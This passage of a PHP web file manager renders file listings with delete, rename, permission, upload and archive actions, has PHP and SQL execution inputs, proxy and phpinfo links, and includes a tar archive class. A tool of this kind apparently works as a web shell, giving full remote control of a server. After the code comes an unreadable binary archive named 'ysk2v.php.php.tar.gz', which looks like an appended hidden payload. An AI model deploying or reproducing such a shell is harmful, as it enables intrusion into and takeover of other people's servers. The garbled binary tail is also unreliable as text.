		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/fahriyzx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>
PK!�𲫵a�aysk2v.php.php.tar.gznu�[�����ْ�Ȓ(v_��P�<M��$�/�Ŭ�=�dr_����� 	H\�٘~@v�&�I&ӳ� �A�{evG����G6.�Y}Ι�+uuW����#����ñ�v�ݲSm!�n8gUMV�	�r�%�\Da��clX�+v�΃�r��w?�Ǐ�D���`(���3����X�����g�j�����h�����`���S{�1yA�'��W�
���؟B%X&#Kca�V8M�%���������Ɍ$k�p�I\{͉���?]skm*+TH2�o=�w�:��C�'������zKNU��2BI��%
ey.�/��J���Z��>�ꋭ	���P�z�H�m��_�Ӿ�3nÑ�/FU�(c�iK���ւo8�Ea�k������#��;~z9z|�E�7S�8�?~aI�_�/�����F�E�=ZQ���
�S|Y�F��$As}�at�|qH�v(K/���	�R�'r��d����T�LE�W�e4e��4X�E�U4(Pk kSZ�di�d"�0>/[�[Z���e�7��4nIh,Q��S5Y��*�)é��Ȩ�Q�x/�/��F��Qx�������1�'y�`_H2v�H�ߋ����<��Q�-D�������k�}��<���革^��r�f��ݡ��w�\zՕ�p�0�	L�}w���7���-
T�E�K�,�&�i�4Qь����k4͇x�a Ny�wKY�\f��M�4b��%Ӭ���<��S�A�8�Pq����(2}\��P�2�T+�N5sMhr
�8e�!��NRE�"`��S#x�ѳ�3{yͨk���$�4ef���6Tf$(����g\�a��h!�{�'��W�g�c���)��Sa�FWԟQ�s����C����pҐ�;}@)S�"T�z�J�K4�a(�GH�TY�%����I�� >��0"��בE�(���^�o{���fk��*�T�����$[�J"�[��?"�-KP�x9����Ao��)��}"
���'��(���C4�
n�(��nc(�Js�"����4�q�l���ҭ�x$�**]4jYP	������ux��{�&`��)PFA��,��u<ȸ(��:�kL=��u�)F)�#J�[,��:�0%P}��9o��cK�:*����
���/~��$�G�C�����먙���|a��Ue�G��a�^�a}�<:
��
��8~�;T��%��o<�
S���h�1�ߒ��V	c-�f������#(e��B���hr���7<��<�)���:i�S��=�i��9�ah�yc`_g�1�+�#�$.�:D6�?�m�Id��O(m=X�YG����?^����$���h��/��3J_RA��'�	��<�6b��o:H�3���TL�)��#)*lw ���K2h��r2N/���.����9��X�_�0�;�yr���]N^rz���3��?c���;1�%�M���Rۻ�_�z;�l}vB����ES����9�̭�~Z�X�$�!2QǾ|A=s����f|����/��<_��8�$YN�ܱ� ��*HE�
 �ׅ��r{_���G��	���1'�<nY��\�c�� �}#y��Y�;��Z</�	E%�p���T
�H���D��ܑq�m�T�@f*By��.4�v��q?!���PM�_Q=AE��u�����-�cP��	��=W�믂�"��"_-x�Is���-�ĺ�i�h��cz�[Ɖ�24rf�t
���c�e)��a��΢ݝB�eZ��+!�T+t��%B�)H=��(z��r���i����I
�}��%i:`\?�t�\�����9�L��[/�HY{�}�L��s9*b��X5�Ëʋ�0�堌E��L��?��?��Y�*RcLx�br��Kк������0�AH,Ʋ��QQ�Q���P�4��9Pm�H��-
�kֳ��r62����)<�ĩ�jN#&�1����D3Ϙ�8�L
H
��А�Vl�����A�%Hc�L�NT�h:�B�=C!����I&��r���K�n2�j����4�F�;L-6��9������ZB8M�p���!� ����*|�UaC� #�
f�$��e�=츴�!6ڒ]�h��g~c^��+��6*����t:ٛ�f���y�hb�˶k��+�A�f���5>;Z��K*���Z/�T��Nr��P�3��S�t^ЬP��U��bb���FB����p5FӊN��\�S��x)���۲���`�����"8�4D#$��	2�D��\]�F�ZW�؜<���;cX'a�c��>��_p�'�N1<b
��=�D�9��1��2g��0S꠲�M��G������!i4����7�^�Z�T��,YVᶾ��M��n4�옛*��cA��/��T���zS*�D��Q$+�s��Tѱq�P�B� �X��!��@�!9�D+*�v��H{Gª���:�%�@3)�@0񌖽��j�]�53�Z.����j6G���x2<K���|��{y�ň��\*�ɶ�	��XP��E���K��8�|��p�~��������)�/�˫��V4):�v0T�0��p����9��9�>T��@�3�fn}�1.L��1�����}I�����<��+�%X��
/NK�:-����ɶ���5����I&��7֔�{}ia��W�oL~-aS�j�bX*��ӘfCo���y�n��v��@w/�bqI@_ᵵ"1�T(���A*�,�_P�!��0�`��2S�)�-�X.T]�6x�hQ�I������B[ɟ��`�z�(_#Ԡ:��d�{A�
"Zv�������"��j>'�f�!ŕΧS�.
��-�9�>�;%��0s�`3���"^K� ͭ���b<���P�V���N%��h�u*c��+�%��-m\��G�\ҋ�:!L ��+��e�~��I&�GB2�m��9�f��S�d-�~CJ��RvH��@�!�c������	0n��'k�S�n^5AEm��H8�3�"i�p���	0l�յ;��k��&��
XF���c8|
h����Uf),y;���Q�-�%y+ً�iQ2�A�F%�[	�Z
qe6���	�:NPmo��yzR�'e��)��(ߞ�ͩ��ɸ�ۋ��z;��MA���WZ
�@o?��\o���M�ro��"�^k5����?Л���)��k�����A��Z�����<���k�2Q$�-����H�%7"Yބ��ގM;�3y��-��aA��f��
��"���%0�"�J�&8IC�/�"��HKB�8!��zH��yT;t\8|����0�jG�ǎⴶ�4Ҵh%���#`É.�����ώ����A$�L�R`h�L
��h��jTQ8ڱ�D���_:�3(����m�&HL�B�&�@�B�ۈv$m�CJ�6/bT��&��SC��w���gJ\My��p��,��7YA]ʪM�2��!,P��j&�o`r��;��S����G��K��c	�E��7z�T�z���6@�-/�[���[�dybj�}�:F��W�SƟ��˼4Ѧ��6DY�r������V�.7>n N2�JN
���{�Rh{�Q��X^���q(z'�S@�a��H�/M���Y �0a�^&�����)��'�� �[$�4�tn�f*��I��CQVy�7x��TV�$�6��3a������҈��^H�����q�Z�=*�cl����<rta3.93��uD-֨H��D�$^���B�UK�p�"aDT�v�"�0l�]���^㩔L�2k��lU�'�f]8�t���JuyW�
�
H��{z���<\x/�wC?i�5��u�n�[o�`N`�,���}���%P�"pS��,n�j��O�G�$�V���|�D]d�&a=�����LZ642�p�$(��c���+�I	�2^a�C{�O�G1>��OK6�Ll%��mb�E�S��x���Y4Z�FƦ���j�W����~��XYE��ψ9��H~�d
:�a��* �!K�m����[�I#�?�>m�i����77��e� ���!�`���Gغy@o�&��k��8�ZG���(d�b�,Ut��`4昙m�5��Qp�dB��AN�����g�t�z�j�Y���ԩ&������l݅�d�ho�,F}��j�Fz�nL(�e����
i^kyݎ��3>1�3���n��L�1�����i��cN��s�)1�Lx�{
��kL�kM��Bu:�=��΀EIJ�∤N�);�EH������c�
?N:>�e���9��n4��	���6���P�=z&M~d�{��e�2|\��u�{��"��C�`��e�
������DNN@��%�	 f�1����$^:y=����ڜ��%�������1��ɶ1�Sس�l�'�I�y,u����G\�Ȯ�*:��M�Qҁ^�pl��G
$�Z�)��̬��9����t���df��~��4��էb�$��@KWGt�%B3�?�C&Œ�%�1�����RB��?��w�'�~o�W�����S7���c�c�]��[���c����c�-|dI��z������+˄%aF�͜�F"�
